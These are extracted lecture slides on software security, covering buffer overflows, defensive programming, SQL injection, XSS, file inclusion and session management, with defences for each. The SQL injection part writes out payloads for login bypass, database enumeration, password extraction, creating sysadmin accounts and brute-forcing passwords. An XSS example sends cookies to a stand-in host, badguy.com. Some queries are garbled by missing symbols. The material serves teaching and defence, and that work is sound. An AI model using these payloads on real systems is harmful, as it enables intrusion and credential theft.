Software Security

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Software Security

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Title: Software Security

1
Software Security
2
Why Software?

Why is software as important to security as
crypto, access control, protocols?
Virtually all of information security is
implemented in software
If your software is subject to attack, your
security can be broken
Regardless of strength of crypto, access control
or protocols
Software can become a poor foundation for
security

3
Mal Software is Ubiquitous!

NASA Mars Polar Lander was destroyed because its
flight software mistook vibrations due to
atmospheric turbulence for evidence that the
vehicle had landed and shut off the engines 40
meters from the Martian surface (December 3,
1999).
A bug in the code controlling the Therac-25
radiation therapy machine was directly
responsible for at least five patient deaths in
the 1980s when it administered excessive
quantities of X-rays.
The 2003 North America blackout was triggered by
a local outage that went undetected due to a race
condition in General Electric Energy's XA/21
monitoring software.
In order to fix a warning issued by Valgrind, a
maintainer of Debian patched OpenSSLand broke the
random number generator in the process. in
September 2006 not reported until April 2008.
Every key generated with the broken version is
compromised (as the "random" numbers were made
easily predictable), as is all data encrypted
with it

Ref. https//en.wikipedia.org/wiki/List_of_softwar
e_bugs
4
Software Security Issues

many vulnerabilities result from poor programming
practices
consequence from insufficient checking and
validation of data and error codes
awareness of these issues is a critical initial
step in writing more secure program code

5
Table 11.1 CWE/SANS Top 25 Most
Dangerous Software Errors
6
Software Security, Quality and Reliability

software quality and reliability
concerned with the accidental failure of program
as a result of some theoretically random,
unanticipated input, system interaction, or use
of incorrect code
improve using structured design and testing to
identify and eliminate as many bugs as possible
from a program
concern is not how many bugs, but how often they
are triggered

software security
attacker chooses probability distribution,
specifically targeting bugs that result in a
failure that can be exploited by the attacker
triggered by inputs that differ dramatically from
what is usually expected
unlikely to be identified by common testing
approaches

7
Buffer Overflow

a very common attack mechanism
first widely used by the Morris Worm in 1988
prevention techniques known
still of major concern
legacy of buggy code in widely deployed operating
systems and applications
continued careless programming practices by
programmers

8
Brief History of Buffer Overflow Attacks
9
Buffer Overflow/Buffer Overrun
A buffer overflow, also known as a buffer
overrun, is defined in the NIST Glossary of Key
Information Security Terms as follows
A condition at an interface under which more
input can be placed into a buffer or data holding
area than the capacity allocated, overwriting
other information. Attackers exploit such a
condition to crash a system or to insert
specially crafted code that allows them to gain
control of the system.
10
Buffer Overflow Basics

programming error when a process attempts to
store data beyond the limits of a fixed-sized
buffer
overwrites adjacent memory locations
locations could hold other program variables,
parameters, or program control flow data
buffer could be located on the stack, in the
heap, or in the data section of the process

11
Basic Buffer Overflow Example
12
Basic Buffer Overflow Stack Values
13
Buffer Overflow Attacks

to exploit a buffer overflow an attacker needs
to identify a buffer overflow vulnerability in
some program that can be triggered using
externally sourced data under the attackers
control
to understand how that buffer is stored in memory
and determine potential for corruption
identifying vulnerable programs can be done by
inspection of program source
tracing the execution of programs as they process
oversized input
using tools such as fuzzing to automatically
identify potentially vulnerable programs

14
Programming Language History

at the machine level data manipulated by machine
instructions executed by the computer processor
are stored in either the processors registers or
in memory
assembly language programmer is responsible for
the correct interpretation of any saved data value

15
Stack Buffer Overflows

occur when buffer is located on stack
also referred to as stack smashing
used by Morris Worm
exploits included an unchecked buffer overflow
are still being widely exploited
stack frame
when one function calls another it needs
somewhere to save the return address
also needs locations to save the parameters to be
passed in to the called function and
to possibly save register
values

16
Stack Frame with Functions P and Q
Figure 10.3
17
Programs and Processes
Figure 10.4 Program Loading into Process
Memory
18
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19
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20
Program Flaws

An error is a programming mistake
To err is human
An error may lead to incorrect state fault
A fault is internal to the program
A fault may lead to a failure, where a system
departs from its expected behavior
A failure is externally observable

21
Defensive Programming

a form of defensive design to ensure continued
function of software despite unforeseen usage
requires attention to all aspects of program
execution, environment, and type of data it
processes
also called secure programming
assume nothing, check all potential errors
programmer never assumes a particular function
call or library will work as advertised so
handles it in the code

22
Abstract Program Model
Figure 11.1
23
Defensive Programming

programmers often make assumptions about the type
of inputs a program will receive and the
environment it executes in
assumptions need to be validated by the program
and all potential failures handled gracefully and
safely
requires a changed mindset to traditional
programming practices
programmers have to understand how failures can
occur and the steps needed to reduce the chance
of them occurring in their programs

conflicts with business pressures to keep
development times as short as possible to
maximize market advantage

24
Security by Design

security and reliability are common design goals
in most engineering disciplines
software development not as mature
much higher failure levels tolerated
despite having a number of software development
and quality standards
main focus is general development lifecycle
increasingly identify security as a key goal

25
Handling Program Input
26
Input Size Buffer Overflow

programmers often make assumptions about the
maximum expected size of input
allocated buffer size is not confirmed
resulting in buffer overflow
testing may not identify vulnerability
test inputs are unlikely to include large enough
inputs to trigger the overflow
safe coding treats all input as dangerous

27
Interpretation of Program Input

program input may be binary or text
binary interpretation depends on encoding and is
usually application specific
there is an increasing variety of character sets
being used
care is needed to identify just which set is
being used and what characters are being read
failure to validate may result in an exploitable
vulnerability

28
Web Application Vulnerabilities

URL Manipulation

29
URL Manipulation
30
URL Manipulation (contd)
31
URL Manipulation - Solution

The best solution is to avoid sending critical
parameters in a query string
Validate with session token
All sensitive data sent in the query string must
be cryptographically protected.

32
Injection Attacks

flaws relating to invalid handling of input data,
specifically when program input data can
accidentally or deliberately influence the flow
of execution of the program

33
SQL Injection

The ability to inject SQL commands into the
database enginethrough an existing application

Ref. Advanced SQL Injections by Victor Chapela
(OWASP.org)
34
How common is it?

It is probably the most common Website
vulnerability today!
It is a flaw in "web application" development,
it is not a DB or web server problem
Most programmers are still not aware of this
problem
A lot of the tutorials demo templates are
vulnerable
Even worse, a lot of solutions posted on the
Internet are not good enough
OWASP In our pen tests over 60 of our clients
turn out to be vulnerable to SQL Injection

35
Vulnerable Applications

Almost all SQL databases and programming
languages are potentially vulnerable
MS SQL Server, Oracle, MySQL, Postgres, DB2, MS
Access, Sybase, Informix, etc
Accessed through applications developed using
Perl and CGI scripts that access databases
ASP, JSP, PHP
XML, XSL and XSQL
Javascript
VB, MFC, and other ODBC-based tools and APIs
DB specific Web-based applications and APIs
Reports and DB Applications
3 and 4GL-based languages (C, OCI, ProC, and
COBOL)
many more

36
How does SQL Injection work?

Common vulnerable login query
SELECT FROM users
WHERE login 'victor'
AND password '123'
(If it returns something then login!)
ASP/MS SQL Server login syntax
var sql "SELECT FROM users
WHERE login '" formusr
"' AND password '" formpwd "'"

37
Injecting through Strings

formusr ' or 11
formpwd anything
Final query would look like this
SELECT FROM users
WHERE username ' ' or 11
AND password 'anything'

38
SQL Injection
Login Successful
http//target.site/login.jsp
Expected from user
The Unexpected
RETURN
39
The power of '

It closes the string parameter
Everything after is considered part of the SQL
command
Misleading Internet suggestions include
Escape it! replace ' with ' '

40
If it were numeric?

SELECT FROM clients
WHERE account 12345678
AND pin 1111
PHP/MySQL login syntax
sql "SELECT FROM clients WHERE " .
"account formacct AND " .
"pin formpin"

41
Injecting Numeric Fields

formacct 1 or 11
formpin 1111
Final query would look like this
SELECT FROM clients
WHERE account 1 or 11
AND pin 1111

42
SQL Injection Characters

' or " character String Indicators
-- or single-line comment
// multiple-line comment
addition, concatenate (or space in url)
(double pipe) concatenate
wildcard attribute indicator
?Param1fooParam2bar URL Parameters
PRINT useful as non transactional command
_at_variable local variable
_at__at_variable global variable
waitfor delay '0010' time delay

43
SQL Injection - The Methodology
44
1) Input Validation
45
Discovery of Vulnerabilities

Vulnerabilities can be anywhere, we check all
entry points
Fields in web forms
Script parameters in URL query strings
Values stored in cookies or hidden fields
By "fuzzing, insert into every entry point
Character sequence ' " ) gt
SQL reserved words with white space delimiters
09select (tab09, carriage return13,
linefeed10 and space32 with and, or, update,
insert, exec, etc)
Delay query ' waitfor delay '0010'--

46
2) Information Gathering

We will try to find out the following
Output mechanism
Understand the query
Determine database type
Find out user privilege level
Determine OS interaction level

47
a) Exploring Output Mechanisms

Using query result sets in the web application
Error Messages
Craft SQL queries that generate specific types of
error messages with valuable info in them
Blind SQL Injection
Use time delays or error signatures to determine
extract information
Almost the same things can be done but Blind
Injection is much slower and more difficult
Other mechanisms
e-mail, SMB, FTP, TFTP

48
b) Understanding the Query

The query can be
SELECT
UPDATE
EXEC
INSERT
Or something more complex
Context helps
What is the form or page trying to do with our
input?
What is the name of the field, cookie or
parameter?

49
SELECT Statement

Most injections will land in the middle of a
SELECT statement
In a SELECT clause we almost always end up in the
WHERE section
SELECT
FROM table
WHERE x 'normalinput' group by x having 11 --
GROUP BY x
HAVING x y
ORDER BY x

50
UPDATE statement

In a change your password section of an app we
may find the following
UPDATE users
SET password 'new password'
WHERE login logged.userAND password 'old
password'
If you inject in new password and comment the
rest, you end up changing every password in the
table!

51
c) Determine Database Engine Type

Most times the error messages will let us know
what DB engine we are working with
ODBC errors will display database type as part of
the driver information
If we have no ODBC error messages
We make an educated guess based on the Operating
System and Web Server
Or we use DB-specific characters, commands or
stored procedures that will generate different
error messages

52
d) Finding out user privilege level

There are several SQL99 built-in scalar functions
that will work in most SQL implementations
user or current_user
session_user
system_user
' and 1 in (select user ) --
' if user 'dbo' waitfor delay '005 '--
' union select if( user() like 'root_at_',
benchmark(50000,sha1('test')), 'false' )

53
DB Administrators

Default administrator accounts include
sa, system, sys, dba, admin, root and many others
In MS SQL they map into dbo
The dbo is a user that has implied permissions to
perform all activities in the database.
Any member of the sysadmin fixed server role who
uses a database is mapped to the special user
inside each database called dbo.
Also, any object created by any member of the
sysadmin fixed server role belongs to dbo
automatically.

54
Discover DB structure

Determine table and column names ' group by
columnnames having 11 --
Discover column name types
' union select sum(columnname ) from tablename
--
Enumerate user defined tables
' and 1 in (select min(name) from sysobjects
where xtype 'U' and name gt '.') --

55
Enumerating table columns in different DBs

MS SQL
SELECT name FROM syscolumns WHERE id (SELECT id
FROM sysobjects WHERE name 'tablename ')
sp_columns tablename (this stored procedure can
be used instead)
MySQL
show columns from tablename
Oracle
SELECT FROM all_tab_columnsWHERE
table_name'tablename '
DB2
SELECT FROM syscat.columnsWHERE tabname
'tablename '
Postgres
SELECT attnum,attname from pg_class,
pg_attributeWHERE relname 'tablename ' AND
pg_class.oidattrelid AND attnum gt 0

56
All tables and columns in one query

' union select 0, sysobjects.name ' '
syscolumns.name ' ' systypes.name, 1, 1,
'1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
systypes where sysobjects.xtype 'U' AND
sysobjects.id syscolumns.id AND
syscolumns.xtype systypes.xtype --

57
Database Enumeration

In MS SQL Server, the databases can be queried
with master..sysdatabases
Different databases in Server
' and 1 in (select min(name ) from
master.dbo.sysdatabases where name gt'.' ) --
File location of databases
' and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename gt'.' ) --

58
System Tables

Oracle
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TEBLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG
MySQL
mysql.user
mysql.host
mysql.db

MS Access
MsysACEs
MsysObjects
MsysQueries
MsysRelationships
MS SQL Server
sysobjects
syscolumns
systypes
sysdatabases

59
4) Extracting Data
60
Password grabbing

Grabbing username and passwords from a User
Defined table
' begin declare _at_var varchar(8000) set _at_var''
select _at_var_at_var' 'login'/'password' '
from users where logingt_at_varselect _at_var as var
into temp end --
' and 1 in (select var from temp) --
' drop table temp --

61
Create DB Accounts

MS SQL
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password)
VALUES ('victor', 'localhost', PASSWORD('Pass123')
)
Access
CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp DEFAULT TABLESPACE
users
GRANT CONNECT TO victor
GRANT RESOURCE TO victor

62
Brute forcing Passwords

Passwords can be brute forced by using the
attacked server to do the processing
SQL Crack Script
create table tempdb..passwords( pwd varchar(255)
)
bulk insert tempdb..passwords from
'c\temp\passwords.txt'
select name, pwd from tempdb..passwords inner
join sysxlogins on (pwdcompare( pwd,
sysxlogins.password, 0 ) 1) union select name,
name from sysxlogins where (pwdcompare( name,
sysxlogins.password, 0 ) 1) union select
sysxlogins.name, null from sysxlogins join
syslogins on sysxlogins.sidsyslogins.sid where
sysxlogins.password is null and
syslogins.isntgroup0 and syslogins.isntuser0
drop table tempdb..passwords

63
(No Transcript)
64
SQL Injection Defense

It is quite simple input validation
The real challenge is making best practices
consistent through all your code
Enforce "strong design" in new applications
You should audit your existing websites and
source code
Even if you have an air tight design, harden your
servers

65
Strong Design

Define an easy "secure" path to querying data
Use stored procedures for interacting with
database
Call stored procedures through a parameterized
API
Validate all input through generic routines
Use the principle of "least privilege"
Define several roles, one for each kind of query

66
Input Validation

Define data types for each field
Implement stringent "allow only good" filters
If the input is supposed to be numeric, use a
numeric variable in your script to store it
Reject bad input rather than attempting to escape
or modify it
Implement stringent "known bad" filters
For example reject "select", "insert", "update",
"shutdown", "delete", "drop", "--", "'"

67
Harden the Server

Run DB as a low-privilege user account
Remove unused stored procedures and functionality
or restrict access to administrators
Change permissions and remove "public" access to
system objects
Audit password strength for all user accounts
Remove pre-authenticated linked servers
Remove unused network protocols
Firewall the server so that only trusted clients
can connect to it (typically only administrative
network, web server and backup server)

68
Detection and Dissuasion

You may want to react to SQL injection attempts
by
Logging the attempts
Sending email alerts
Blocking the offending IP
Sending back intimidating error messages
"WARNING Improper use of this application has
been detected. A possible attack was identified.
Legal actions will be taken."
Check with your lawyers for proper wording
This should be coded into your validation scripts

69
SQL Injection AttacksConclusion

SQL Injection is a fascinating and dangerous
vulnerability
All programming languages and all SQL databases
are potentially vulnerable
Protecting against it requires
strong design
correct input validation
hardening

70
Links

A lot of SQL Injection related papers
http//www.nextgenss.com/papers.htm
http//www.spidynamics.com/support/whitepapers/
http//www.appsecinc.com/techdocs/whitepapers.html
http//www.atstake.com/research/advisories
Other resources
http//www.owasp.org
http//www.sqlsecurity.com
http//www.securityfocus.com/infocus/1768

71
Cross-Site Scripting

(XSS)

72
Cross-Site Scripting (XSS) Flaws

OWASP Definition
XSS flaws occur whenever an application takes
user supplied data and sends it to a web browser
without first validating or encoding that
content. XSS allows attackers to execute script
in the victim's browser which can hijack user
sessions, deface web sites, possibly introduce
worms, etc.

73
Cross-Site Scripting (XSS) Attacks

3 Categories of XSS attacks
Stored - the injected code is permanently stored
(in a database, message forum, visitor log,
etc.)
Reflected - attacks that are reflected take some
other route to the victim (through an e-mail
message, or bounced off from some other server)
DOM injection Injected code manipulates sites
javascript code or variables, rather than HTML
objects.
Example Comment embedded with JavaScript
commentNice site! ltSCRIPTgt window.open(
http//badguy.com/info.pl?document.cookie
lt/SCRIPTgt

74
Cross-Site Scripting (XSS)

Occurs when an attacker can manipulate a Web
application to send malicious scripts to a third
party.
This is usually done when there is a location
that arbitrary content can be entered into (such
as an e-mail message, or free text field for
example) and then referenced by the target of the
attack.
The attack typically takes the form of an HTML
tag (frequently a hyperlink) that contains
malicious scripting (often JavaScript).
The target of the attack trusts the Web
application and thus XSS attacks exploit that
trust to do things that would not normally be
allowed.
The use of Unicode and other methods of encoding
the malicious portion of the tag are often used
so the request looks less suspicious to the
target user or to evade IDS/IPS.

75
XSS - Protection

Protect your application from XSS attacks
Filter output by converting text/data which might
have dangerous HTML characters to its encoded
format
'lt' and 'gt' to 'lt' and 'gt
'(' and ')' to '40' and '41
'' and '' to '35' and '38
Recommend filtering on input as much as possible.
(some data may need to allow special characters.)

76
Malicious File Execution

OWASP Definition
Code vulnerable to remote file inclusion (RFI)
allows attackers to include hostile code and
data, resulting in devastating attacks, such as
total server compromise.
Malicious file execution attacks affect PHP, XML
and any framework which accepts filenames or
files from users.

77
Malicious File Execution

Applications which allow the user to provide a
filename, or part of a filename are often
vulnerable if input is not carefully validated.
Allowing the attacker to manipulate the filename
may cause application to execute a system program
or external URL.
Applications which allow file uploads have
additional risks
Place executable code into the application
Replace a Session file, log file or
authentication token

78
Malicious File Execution Protection

Do not allow user input to be used for any part
of a file or path name.
Where user input must influence a file name or
URL, use a fully enumerated list to positively
validate the value.
File uploads have to be done VERY carefully.
Only allow uploads to a path outside of the
webroot so it can not be executed
Validate the file name provided so that a
directory path is not included.
Implement or enable sandbox or chroot controls
which limit the applications access to files.

79
Broken Authentication and Session Management

OWASP Definition
Account credentials and session tokens are often
not properly protected. Attackers compromise
passwords, keys, or authentication tokens to
assume other users identities.

80
Session Management
81
Session Management

HTTP/S protocol does not provide tracking of a
users session.
Session tracking answers the question
After a user authenticates how does the server
associate subsequent requests to the
authenticated user?
Typically, web application vendors provide a
built-in session tracking, which is good if used
properly.
Often developers will make the mistake of
inventing their own session tracking.

82
Session Management (Session IDs)

A Session ID
Unique to the User
Used for only one authenticated session
Generated by the server
Sent to the client as
Hidden variable,
HTTP cookie,
URL query string (not a good practice)
The user is expected to send back the same ID in
the next request.

83
Session Management(Session Hijacking)

Session ID is disclosed or is guessed.
An attacker using the same session ID has the
same privileges as the real user.
Especially useful to an attacker if the session
is privileged.
Allows initial access to the web application to
be combined with other attacks.

84
Session Management Protection

Use long complex random session ID that cannot be
guessed.
Protect the transmission and storage of the
Session ID to prevent disclosure and hijacking.
A URL query string should not be used for Session
ID or any User/Session information
URL is stored in browser cache
Logged via Web proxies and stored in the proxy
cache

85
Session Management Protection

Entire session should be transmitted via HTTPS to
prevent disclosure of the session ID. (not just
the authentication)
Avoid or protect any session information
transmitted to/from the client.
Session ID should expire and/or time-out on the
Server when idle or on logout.
Client side cookie expirations useful, but should
not be trusted.
Consider regenerating a new session upon
successful authentication or privilege level
change.

86
Broken Account Management

Even valid authentication schemes can be
undermined by flawed account management functions
including
Account update
Forgotten password recovery or reset
Change password, and other similar functions

87
Broken Account and Session Management Protection

Password Change Controls - require users to
provide both old and new passwords
Forgotten Password Controls - if forgotten
passwords are emailed to users, they should be
required to re-authenticate whenever they attempt
to change their email address.
Password Strength
Password Expiration - Users must change passwords
every 90 days, and administrators every 30 days.

88
Insecure Cryptographic Storage Common Mistakes

Improper/insecure storage of passwords,
certifications, and keys
Poor choice of algorithm
Poor source of randomness for initialization
vectors
Attempting to develop a new encryption scheme "in
house (Always a BAD idea)
Failure to provide functionality to change
encryption keys

89
Insecure Cryptographic Storage Protection

Avoiding storing sensitive information when
possible
Use only approved standard algorithms
Use platform specific approved storage mechanisms
Ask, read and learn about coding Best Practices
for your platform
Careful review of all system designs
Source code reviews

90
Insecure Communications Protection

Use SSL/TLS for ALL connections that are
authenticated or transmitting sensitive
information
Use only valid trusted SSL/TLS certificates and
train users to expect valid certificates to
prevent Man-in-the-Middle attacks.

91
OWASP Top Ten Vulnerabilities